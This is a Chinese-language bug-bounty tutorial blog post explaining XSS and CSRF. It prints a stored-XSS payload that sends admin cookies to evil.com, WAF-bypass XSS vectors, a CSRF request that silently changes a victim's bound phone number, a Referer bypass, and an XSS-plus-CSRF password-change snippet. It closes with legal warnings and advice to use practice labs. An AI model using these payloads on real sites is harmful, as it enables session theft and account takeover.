上期回顾:我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行“物理超度”——哦不,是合法的安全测试。今天的主角是 Web 漏洞界的“哼哈二将”:XSS​ 和 CSRF


一、为什么这俩货这么重要?

很多新手觉得 XSS 是“弹个框就没用了”,那是你不会玩。

  • XSS(跨站脚本):相当于你在别人家的墙上涂鸦(植入JS)

  • CSRF(跨站请求伪造):相当于你伪造了别人的签名(Cookie)去银行取钱。

在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。


二、XSS:从“弹窗”到“接管后台”

1. 三种形态,各有千秋

类型

别名

危害等级

特点

反射型

非持久化

低/中

需要诱导管理员点击链接(钓鱼)。

存储型

持久化

插进数据库。每次访问页面自动触发,专杀后台管理员。

DOM型

前端漏洞

不走服务器,前端JS处理不当导致。

2. 实战案例:后台管理员的“噩梦”

场景:某论坛发帖功能存在存储型XSS。

Payload(攻击载荷)

<script>
  // 窃取管理员Cookie
  var img = new Image();
  img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么?

  1. 你把这段代码发在帖子正文。

  2. 管理员在后台查看帖子列表。

  3. 管理员的 Cookie 瞬间发送到了你的服务器 evil.com

  4. 你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。

  5. 结果:你不用密码,直接以管理员身份登录后台。🎉

3. 绕过WAF的“猥琐流”技巧

现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:

  • 大小写混淆<ScRiPt>alert(1)</ScRiPt>

  • 闭合标签"><svg onload=alert(1)>

  • 编码绕过\u003cscript\u003e(Unicode编码)

  • 利用HTML5特性<details open ontoggle=alert(1)>

SRC加分项:如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。


三、CSRF:借刀杀人的艺术

1. 核心原理:浏览器的小秘密

浏览器会自动携带当前网站的 Cookie。

如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账

2. 实战案例:改绑手机号

场景:某SRC站点修改绑定手机的接口如下:

https://example.com/user/changePhone?phone=13800138000&userId=1001

漏洞点:该接口没有验证“原手机号验证码”,也没有 Token 验证。

攻击步骤

  1. 你构造一个恶意页面 attack.html

    <body>
      <!-- 偷偷发起请求 -->
      <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
    </body>
  2. 诱骗受害者(或者自己切换账号测试)在登录状态下访问 attack.html

  3. 结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过“找回密码”直接接管他的账号。

3. 防御与绕过

  • 防御:Referer 校验、CSRF Token、验证码。

  • 绕过

    • Referer绕过:如果后端只校验 contains("example.com"),你可以把文件名改成 example.com.html放在你的服务器上。

    • Token绕过:如果Token生成算法可预测,或者Token未绑定Session。


四、XSS + CSRF = 王炸

单独的XSS或CSRF可能已经修好了,但如果组合起来呢?

案例:某站有反射型XSS,但没有CSRF Token

你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。

// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
  method: 'POST',
  body: 'newPwd=Hacked123',
  credentials: 'include' // 携带Cookie
});

五、SRC报告撰写Tips

写报告时,别只说“这里有XSS”。

  • Bad<script>alert(1)</script>弹窗了。

  • Good“由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。”


六、互动与思考

漏洞类型

核心利用点

防御手段

XSS

前端JS执行

转义输出 (HtmlSpecialChars)

CSRF

利用浏览器自动带Cookie

CSRF Token, SameSite Cookie

💬 互动话题

大家在挖洞时,有没有遇到过那种“明明弹窗了,但是厂商说不收”的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!


⚠️ 法律红线警示

  1. 严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。

  2. 严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。

  3. 测试 XSS 时,建议使用 alert(document.domain)console.log作为证明,不要窃取他人的 Cookie 进行登录。

  4. 所有实验请在本地靶场(如 DVWA, XSS Challenges)中进行。

    技术无罪,人心有善恶。守住底线,做正义的白帽子。

下一期,我们将进入 SQL注入​ 的世界,揭秘如何“脱裤”(拖库)。准备好你的 SQLMap 了吗?😎

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐